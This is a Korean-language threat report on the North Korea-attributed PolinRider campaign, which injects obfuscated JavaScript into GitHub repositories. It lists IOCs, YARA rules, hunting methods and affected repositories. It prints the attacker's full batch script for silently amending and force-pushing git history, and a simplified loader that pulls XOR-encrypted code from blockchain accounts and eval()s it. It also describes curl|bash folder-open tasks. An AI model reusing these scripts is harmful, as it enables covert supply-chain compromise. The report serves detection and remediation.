
북한과 연계된 PolinRider 공급망 공격에 대한 기술 문서로, 난독화된 JS 페이로드 삽입, git 히스토리 조작, C2 인프라, 그리고 1,951개의 손상된 저장소에 대한 수정 지침을 문서화합니다.

OpenSourceMalware 팀은 GitHub 사용자 및 조직의 리포지토리에 멀웨어를 주입하는 대규모 위협 캠페인을 발견했습니다. 위협 행위자 PolinRider는 난독화된 악성 JavaScript 페이로드를 수백 개의 공개 GitHub 리포지토리(수백 명의 고유 소유자 소유)에 주입했습니다. #polinrider 태그를 사용하면 이 캠페인과 관련된 모든 위협 보고서를 확인할 수 있으며, 이 블로그 하단(손상된 리포지토리)에서 손상된 리포지토리 목록(즉시 조치를 권장하는 항목 포함)을 확인하세요. 태그가 최신 데이터를 얻는 가장 좋은 방법임을 명심하세요.
JavaScript 페이로드는 실제 프로젝트 구성 파일 끝에 — 파일의 정당한 콘텐츠 뒤에 조용히 추가되어 — 일상적인 코드 검토 시 놓치기 쉽습니다. 주요 감염 벡터는 설치 또는 빌드 중에 실행되어 프로젝트 루트의 구성 파일에 자신을 주입하는 손상된 npm 패키지로 보입니다. 더 나쁜 점은, 이 위협 행위자가 동일한 기술을 사용하여 악성 NPM 패키지도 제작했다는 것입니다.
이 공격은 엄청난 성공을 거두었으며, 손상된 오픈 소스 프로젝트인 Neutralinojs는 수백 명의 사용자와 기여자에게 멀웨어를 확산시켰습니다. Neutralinojs는 8400개의 별, 495개의 포크, 수십 명의 활성 기여자를 보유한 매우 인기 있는 프로젝트입니다. 이것이 이러한 유형의 공격의 힘입니다. 위협이 초기 GitHub 리포지토리에만 국한되지 않고 해당 오픈 소스를 사용하는 다른 모든 프로젝트로 확장되기 때문입니다.
OpenSourceMalware 팀은 이 캠페인을 북한(DPRK)의 소행으로 귀속시켰으며, 위협 행위자 PolinRider는 "Contagious Interview" 및 "TasksJacker" 캠페인과 관련된 알려진 Lazarus 그룹 기여자입니다.
이 캠페인은 최초 게시 이후 극적으로 성장했습니다. 2026-04-11 기준 OSM 팀은 1,047명의 고유 소유자 소유의 1,951개의 공개 GitHub 리포지토리가 손상되었음을 확인했습니다. 이는 최초 게시일 이후 5주 만에 2.9배 증가한 수치입니다(3월 8일: 675개 리포지토리 / 352명 소유자).

2026-04-10에 시작되어 2026-04-11까지 이어진 후속 헌트에서 OSM 팀은 몇 가지 주요 발견을 했습니다.
캠페인이 5주 만에 두 배 이상 증가했습니다. GitHub 코드 검색 및 Sourcegraph를 통한 교차 엔진 열거(아래 방법론 참조, API의 1000개 결과 제한을 넘어 정제)로 첫날 v3 마스터에서 1,556개의 고유 손상 리포지토리가 발견되었습니다. 둘째 날의 2차 헌트에서는 npm 패키지 이름 피벗, VS Code tasks.json / 클라우드 제공자 피벗, 새로 발견된 default-configuration.vercel.app C2 하위 도메인을 통해 215개의 새로운 리포지토리가 추가되었습니다. 기존 affected_repos.csv 코퍼스와 중복 제거 후, 실제 알려진 범위는 현재 1,951개의 고유 피해자 리포지토리 / 1,047명의 고유 소유자입니다.
새로운 변종이 관찰되었습니다. PolinRider는 아키텍처를 유지하면서 난독화 도구의 모든 고유 지문을 교체했습니다. 새 변종은 시그니처 마커 Cot%3t=shtP(이전 rmcej%otb%), 셔플 시드 1111436(이전 2857687), 보조 시드 3896884(이전 2667686), 디코더 함수 이름 MDy(이전 _$_1e42)를 사용합니다. 이 교체는 게시된 rmcej_otb_payload YARA 규칙에 대한 회피 대응으로 보입니다. 현재 두 변종 모두 야생에서 활성 상태입니다. 아래 새 변종: Cot%3t=shtP를 참조하세요.
전체 v3 + 2차 헌트 보고서 및 마스터 TSV는 reports/에 있습니다.
위협 행위자는 도난된 GitHub 자격 증명을 사용하지 않습니다. 대신 피해자는 악성 VS Code 확장 프로그램이나 NPM 패키지를 통해 손상되었습니다. 이 초기 벡터가 무엇인지는 아직 모르지만, 포렌식 증거를 통해 그 기능은 알고 있습니다.
가장 먼저 발생하는 것은 멀웨어가 로컬 컴퓨터에서 특정 파일을 검색하는 검색 함수를 실행한다는 것입니다. 예:
이러한 파일 중 하나를 찾으면 해당 파일 끝에 심하게 난독화된 악성 JavaScript 코드를 추가합니다. 다음으로, 멀웨어는 temp_auto_push.bat라는 Windows 배치 파일을 설치합니다. 이 파일이 존재하고 어떤 기능을 하는지 연구자들이 검색할 수 있는 지문을 제공하기 때문에 위협 행위자가 수백 대의 손상된 서버에 이 파일을 남겨두었습니다. 배치 파일의 전체 내용은 다음과 같습니다.``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on
### 배치 파일 분석
이 배치 파일은 **가장 최근 git 커밋을 원래 타임스탬프를 유지하면서 다시 작성합니다** — 수정된 커밋이 전혀 건드리지 않은 것처럼 보이게 합니다.
#### 1단계: 마지막 커밋 메타데이터 추출
`git log -1`을 다섯 번 실행하여 마지막 커밋의 세부 정보를 환경 변수로 가져옵니다:
| 변수 | 캡처된 값 |
|---|---|
| `LAST_COMMIT_DATE` | 마지막 커밋 날짜 (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | 마지막 커밋 시간 (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | 커밋 메시지 |
| `USER_NAME` | 작성자 이름 |
| `USER_EMAIL` | 작성자 이메일 |
| `CURRENT_BRANCH` | 현재 브랜치 이름 |
#### 2단계: 추출된 정보 표시
해당 값을 콘솔에 출력하여 진행하기 전에 캡처된 내용을 확인할 수 있습니다.
#### 3단계: 타임스탬프 트릭 (핵심 조작)
1. *현재* 시스템 날짜와 시간을 변수에 저장합니다
2. 마지막 커밋의 날짜 및 시간과 일치하도록 **Windows 시스템 시계를 변경합니다**
3. 로컬 git `user.name` 및 `user.email`을 원래 커밋의 작성자와 일치하도록 설정합니다
#### 4단계: 커밋 수정```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
시스템 시계가 되감겼기 때문에 git은 수정된 커밋을 원래 타임스탬프로 기록하여 기록에서 수정되지 않은 것처럼 보이게 합니다. --no-verify는 pre-commit 훅을 우회합니다.
-uf 및 --no-verify 플래그를 사용하여 원격 브랜치에 강제 푸시이 스크립트는 마지막 커밋에 파일을 추가하거나 변경하는 방식으로 조용히 수정하면서, 다시 작성된 커밋이 이전과 동일한 작성자, 타임스탬프 및 메시지를 갖도록 합니다. git 기록을 살펴보는 모든 관찰자에게는 커밋이 수정된 적이 없는 것처럼 보입니다.
-uf): 원격 기록을 덮어쓰므로, 해당 브랜치에서 작업 중인 다른 사람에게는 파괴적입니다.--no-verify 플래그는 CI/CD 훅이나 린트 검사를 의도적으로 우회합니다.악성코드가 Linux 및 macOS와 같은 다른 운영 체제에서도 git 기록을 다시 작성하는 유사한 기능을 가지고 있을 것으로 추정됩니다. 실제로 다른 OS에서도 이러한 행위가 발생하고 있다는 증거를 확인했지만, 위협 행위자는 Windows에서처럼 해당 플랫폼에서 작동하는 도구를 소스 코드에 남기지 않았습니다.
영향을 받은 저장소 소유자:
postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js 등)에서 export default 또는 module.exports 이후의 내용을 감사하십시오. 또한 기본 브랜치가 아닌 브랜치와 중첩된 모노레포 경로(apps/*/, frontend/, client/, web/ 등)도 확인하십시오. 많은 피해자가 깊은 경로에서만 감염되었습니다.보안 도구/레지스트리:
polinrider_payload YARA 규칙(아래 참조)을 추가하십시오. rmcej%otb% 및 Cot%3t=shtP 변종을 모두 포함합니다.filename:temp_auto_push.bat 및 LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat를 지속적인 모니터링 쿼리로 추가하십시오.당사 팀은 로컬 시스템이 손상되었는지 확인하는 bash 스크립트를 작성했습니다. 이 블로그 게시물의 끝에서 더 자세한 내용을 확인하거나, 스크립트를 여기에서 확인할 수 있습니다.
4월 10일 업데이트로 파일 유형 목록이 크게 확장되었습니다. 악성코드는 원래 문서화된 것보다 더 넓은 범위의 JS 계열 파일을 대상으로 하며, .woff2 글꼴 파일과 같은 바이너리 자산 내부에서도 관찰되었습니다. 아래 수치는 2026-04-10 기준 1,736개의 고유 저장소 코퍼스를 반영합니다.
postcss.config.mjs의 우세(두 데이터 포인트 모두에서 저장소의 ~62%)는 계속해서 PostCSS/Tailwind 생태계가 주요 감염 벡터임을 지적합니다. 새로 관찰된 항목들(vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js 및 바이너리 .woff2 파일)은 악성코드가 파일 대상 지정 휴리스틱을 확장했거나, 위협 행위자가 여러 npm 패키지 수단을 사용하여 다양한 빌드 도구를 사용하는 피해자에게 도달하고 있음을 보여줍니다.
전파 스크립트 아티팩트 temp_auto_push.bat는 JS 페이로드가 소유자에 의해 이미 정리된 경우에도 101개의 피해자 저장소에 남겨져 있습니다. 이 파일은 과거 침해의 가장 신뢰도가 높은 지표 중 하나입니다.

위협 행위자는 Tailwind/PostCSS 관련 유틸리티로 가장한 여러 악성 NPM 패키지를 게시했습니다. 2026-04-11 기준으로 allavin 및 blackedward npm 계정은 모두 npm에서 삭제되었고 패키지도 제거되었지만, 기존 피해자 저장소에는 여전히 종속성 참조가 있으며 (많은 경우) 설정 파일에 post-install로 주입된 악성코드가 여전히 남아 있습니다.
4월 11일 조사 결과 **tailwindcss-style-animate ^1.1.6**이 ShoeVista 가짜 면접 템플릿의 주요 악성 종속성임을 확인했습니다. npm 패키지 피벗 히트 46건 중 34건이 해당 템플릿을 정확히 그 종속성과 함께 재업로드한 개발자입니다. 목록의 다른 패키지는 관련 캠페인(예: devhire-frontend 클러스터의 tailwind-autoanimation 및 reactapp-6)에서 사용됩니다.
npm 종속성 트리를 통해 피벗하려는 조사자는 tailwind-mainanimation에 대해 이 피벗이 더 이상 유효하지 않음을 알아야 합니다. npm은 라이브 악성 릴리스를 제거했습니다. 대신 "<package_name>" filename:package.json GitHub 코드 검색 쿼리를 통해 피벗하십시오. 이 쿼리는 여전히 피해자 저장소에 있는 고스트 참조를 반환합니다.

tailwind-autoanimation 패키지는 진입점 파일 src/index.js의 끝에 악성 JavaScript 페이로드를 추가하는 동일한 정확한 기술을 사용합니다:

PolinRider는 다단계 페이로드를 전달하며, 이는 DPRK Beavertail 악성코드의 새로운 버전으로 이어집니다. 초기 페이로드는 대규모 침해 백도어/정보 탈취기로, 난독화된 JavaScript 페이로드를 합법적인 개발자의 저장소에 주입합니다. 페이로드는 공통 설정 파일(postcss.config.mjs, eslint.config.mjs, tailwind.config.js 등)의 공백 패딩 뒤에 추가되어, 빌드 도구가 모듈을 가져올 때 자동으로 실행됩니다. 다중 레이어 문자열 셔플링 난독화 해제 루틴을 사용하여, 궁극적으로 최종 페이로드를 런타임에 구성하고 eval()합니다.
OSM 팀은 지금까지 고유 지문이 순환된 이 난독화 도구의 두 가지 활성 변종을 관찰했습니다.
("rmcej%otb%",2857687), 디코더 함수 _$_1e42, 보조 시드 2667686, 주입 마커 global['!'].Cot%3t=shtP, 셔플 시드 1111436, 디코더 함수 MDy, 보조 시드 3896884, 주입 마커 global['_V']='8-XXX'. 동일한 아키텍처이지만 모든 고유 상수가 순환되었습니다. 이는 게시된 rmcej_otb_payload YARA 규칙에 대한 회피 응답으로 거의 확실합니다.두 변종 모두 동일한 블록체인 데드 드롭 C2 인프라(TRON / Aptos / BSC)와 동일한 XOR 키를 사용하며, 현재 야생에서 활성 상태입니다.
이 최종 페이로드는 정교한 블록체인 기반 데드 드롭 리졸버로, 불변의 블록체인 트랜잭션을 명령 및 제어(C2) 인프라로 사용합니다. 악성코드는 블록체인 계정(TRON, Aptos 및 BSC)에서 암호화된 JavaScript 페이로드를 가져오고, XOR 암호화를 사용하여 해독한 후 eval()을 통해 실행합니다. 이 기술은 블록체인 데이터가 불변이므로 C2 인프라를 사실상 다운시키는 것이 불가능하게 만듭니다.
블록체인 기반 C2 통신
페이로드 복호화
원격 코드 실행
eval()을 통해 복호화된 코드 실행분석 방지 기능
OSM 팀은 최근 Neutralinojs 침해에 관한 블로그에서 이 악성코드의 전체 공격 체인을 설명했습니다.
악성코드는 4개의 난독화 레이어를 사용합니다:
레이어 1: 시드 2857687을 사용한 문자 교환 알고리즘
['r', 'object', 'm'] (require, typeof 검사, module)레이어 2: 시드 2667686을 사용한 문자 교환
레이어 3: 사용자 정의 치환 암호
.c, .a 등의 플레이스홀더를 실제 문자로 대체\, `, 공백, 개행, *, ' 등레이어 4: 최종 페이로드용 XOR 암호화
Cot%3t=shtP2026년 4월 OSM 팀은 PolinRider 난독화 도구의 두 번째 활성 변종을 식별했습니다. 아키텍처는 원본과 동일합니다(동일한 4-레이어 셔플-암호, 동일한 블록체인 데드 드롭 C2, 동일한 다단계 Beavertail 2단계). 그러나 모든 고유 지문 문자열이 순환되었으며, 이는 게시된 rmcej_otb_payload YARA 규칙에 대한 응답으로 거의 확실합니다.
새로운 변종은 추가 주입 마커 라인 global['_V']='8-XXX'를 사용합니다(여기서 8-XXX는 주입별 버전 태그, 예: 8-st1, 8-st2, …, 8-st59, 그리고 병렬 숫자 배치 8-413, 8-683, 8-778, 8-974). 순차적인 '8-stN' 태그는 OSM 팀이 위협 행위자의 도구가 피해자별로 숫자 ID를 할당하고 있으며, 이 변종의 최소 59개의 순차적 주입이 존재함을 보여주는 가장 강력한 증거입니다(일부는 아직 공개 코드 검색에 색인되지 않음).
최소 하나의 저장소(HassanHabibTahir/testclient)는 다른 파일에 두 변종의 마커를 모두 포함하고 있습니다(postcss.config.mjs에는 rmcej%otb%, 다른 파일에는 global['_V']). 이는 위협 행위자의 도구가 이전에 손상된 호스트에 대해 순환된 난독화 도구로 재실행되고 있음을 나타냅니다. 방어자는 한 번 정리된 저장소가 여전히 깨끗하다고 가정해서는 안 됩니다.
npm 패키지 및 .vscode/tasks.json 전달 벡터 외에도, PolinRider 위협 행위자는 가짜 채용 면접 미끼(전형적인 Contagious Interview 전술)를 통해 후보자에게 배포되는 최소 두 개의 가짜 과제 테스트 프로젝트를 제작했습니다. 이 프로젝트 템플릿은 악성 종속성 또는 tasks.json 페이로드가 미리 로드되어 제공되므로, 프로젝트를 복제하고 실행하는 것만으로 감염이 트리거됩니다.
ShoeVista (shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, 다양한 후보자 이름으로 된 포크로도 나타남)client/의 React 프론트엔드, server/의 Node/Express 백엔드 (일반적인 MERN 과제)client/package.json의 악성 npm 종속성 "tailwindcss-style-animate": "^1.1.6"name 필드: "client" (일반적 — ShoeVista 브랜딩은 README/가짜 회사 랜딩 페이지에 있음)"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" }가 포함되어 있습니다. 이 UUID는 모든 피해자에 걸쳐 일정하며, 이 템플릿의 가장 강력한 지표입니다..vscode/tasks.json으로, runOn: folderOpen이 curl | bash를 default-configuration.vercel.app 및 새로 발견된 다른 Vercel C2 하위 도메인에 대해 실행합니다.Devba/lmng-top-, wyrustaaruz/cal-eco-platform사전 무기화된 템플릿 프로젝트의 존재는 다음을 의미합니다:
test-*, *-test, *-interview, *-assessment, *-task)을 포함해야 합니다.### 코드 구조```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
.vscode/tasks.json의 runOn: folderOpen과 함께 curl | bash 페이로드에 사용됩니다. 모두 https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N> 형태의 URL을 따릅니다. 이는 VS Code 피해자에게 PolinRider JS 로더를 전달하는 공격자 제어 부트스트랩 서버입니다.
vscode-* / default-configuration 도메인은 4월 10~11일 사냥에서 발견되었으며 이제 OSM 사냥 쿼리 세트의 일부입니다. Vercel 도메인이 위협 행위자에게 저렴하고 폐기 가능하므로 더 많은 자매 서브도메인이 예상됩니다.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (기본)TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (보조)API 엔드포인트: https://api.trongrid.io/v1/accounts/
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (기본)0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (보조)API 엔드포인트: https://fullnode.mainnet.aptoslabs.com/v1/accounts/
bsc-dataseed.binance.orgbsc-rpc.publicnode.com메서드: eth_getTransactionByHash
2[gWfGj;<:-93Z^Cm6:tTh^D)cBz?NM]e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — StakingGame 가짜 면접 템플릿의 악성 .vscode/tasks.json의 projectInfo.uuid 필드에 나타납니다. 매우 특이적이며 테스트에서 가양성 0건입니다.원래 rmcej_otb_payload 규칙(원래 변종에 대해 여전히 유효)은 원래 rmcej%otb% 계통과 회전된 Cot%3t=shtP 계통을 모두 포착하는 다중 변종 규칙으로 대체되었습니다. 정적 분석 파이프라인에서 사용하십시오.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
### YARA Rule (Legacy) — 원본 변형만```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
데이터는 GitHub Code Search API를 통해 gh search code를 사용하여 수집되었으며, 쿼리당 1,000개 결과 제한을 우회하기 위해 감염된 파일 이름당 하나의 쿼리를 실행했습니다. 결과는 리포지토리 전체 이름으로 중복 제거되었습니다.
4월 10일 수색은 5가지 직교 피벗을 결합하고 확장자/크기/포크별 파티션 전략을 적용하여 가장 강력한 피벗에서 GitHub Code Search의 쿼리당 1,000개 결과 제한을 돌파함으로써 데이터 수집을 확장했습니다.
_$_1e42 디코더 함수 이름 쿼리가 total_count: 968을 보고하고 반환 항목이 1,000개로 제한되었지만, GitHub 웹 UI는 1,400개 이상의 일치 항목을 보여주었습니다. 각각 1,000개 미만의 결과를 유지하는 직교 하위 쿼리로 정제한 후 합집합을 취함으로써 제한을 돌파했습니다.
이 작업을 통해 얻은 세 가지 중요한 발견:
fork:false). fork:true를 추가하면 원래 쿼리에서는 완전히 보이지 않았던 마커를 포함하는 157개의 포크 리포지토리가 드러났습니다.size:5000..10000 범위를 1KB 조각으로 하위 버킷화한 결과, 버킷의 보고된 968개보다 986개의 결과가 나왔습니다. 보고된 총계가 1,000 미만인 경우에도 제한으로 인해 항목이 숨겨질 수 있습니다. 올바른 접근 방식은 각 버킷이 제한보다 훨씬 낮을 때까지 재귀적 버킷화하는 것입니다.extension: 분할은 language: 분할보다 더 많은 총 결과를 제공합니다. GitHub의 언어 감지가 때때로 .mjs와 .cjs를 JavaScript 버킷에서 제외하기 때문입니다.4월 10~11일 수색 데이터를 기존 affected_repos.csv와 결합하면 현재 알려진 실제 코퍼스가 생성됩니다.
수색의 두 라운드에 걸쳐 44개의 무작위 샘플에서 0개의 오탐이 관찰되었습니다. 샘플링된 모든 리포지토리에는 인덱싱된 피벗 경로의 파일에 PolinRider 불변성(rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], 전파 .bat 내의 LAST_COMMIT_DATE, package.json의 알려진 악성 npm 패키지, 또는 알려진 C2 하위 도메인 중 하나로 curl | bash를 수행하는 .vscode/tasks.json) 중 하나 이상이 포함되어 있었습니다.
라운드 2에서는 제출 분류에 두 가지 새로운 변종 분류가 도입되었습니다.
malicious_npm: 리포지토리가 package.json에 알려진 7개의 악성 npm 패키지 중 하나를 포함합니다(45건 제출 — 거의 대부분 ShoeVista 템플릿 재업로드).tasksjacker: 리포지토리에 Vercel/Render/Railway C2 하위 도메인에 대해 curl | bash 또는 wget | sh를 실행하는 runOn: folderOpen 작업이 포함된 .vscode/tasks.json이 포함되어 있습니다(27건 제출 — StakingGame 템플릿 클러스터 포함).모든 손상된 리포지토리는 OpenSourceMalware 태그 #polinrider에서 찾을 수 있습니다.
전체 CSV는 영향도 순으로 정렬되어 트라이지에 사용됩니다.
우선 대상:
sparktechagency(팔로워 130명, 리포지토리 12개)와FSDTeam-SAA(팔로워 21명, 리포지토리 12개)는 가장 많은 수의 조직입니다. 개인 중에서는coderkhalide(팔로워 349명)가 가장 넓은 직접 도달 범위를 가지고 있습니다.
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – 사용자, 매장, 브랜드, 도매업체를 연결하는 B2B 소셜 및 전자상거래 플랫폼으로, 실시간 소셜 기능과 고급 SEO 최적화를 제공합니다. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | MIS 모듈을 위한 silekta 회사의 프론트엔드 저장소입니다. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | Rayyan App Server | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time은 사용자가 자신의 목소리와 얼굴을 캐릭터로 사용하여 개인화된 스토리북을 만들 수 있는 AI 기반 플랫폼입니다. 스토리텔링을 마법 같고 대화형이며 깊이 개인화된 경험으로 변환합니다. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Addis-Career/Frontend | | 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | EAC World Kiswahili Language Day Celebrations Forum | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | Extra-surface를 위한 Laurent 버전의 배포 버전입니다. | | | 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | 1단계 MVP 저장소 | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | 이 저장소는 관리자를 등록할 사람들을 위한 것입니다. | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | FlowConnect 프론트엔드 애플리케이션 | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | 주권을 가진, 토크노믹스 기반이며 web3 커뮤니티를 위해 구축된 궁극의 오케스트레이션 에이전트 플랫폼을 구축합니다. ethdenver 해커톤을 위한 기여입니다. | | | 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | 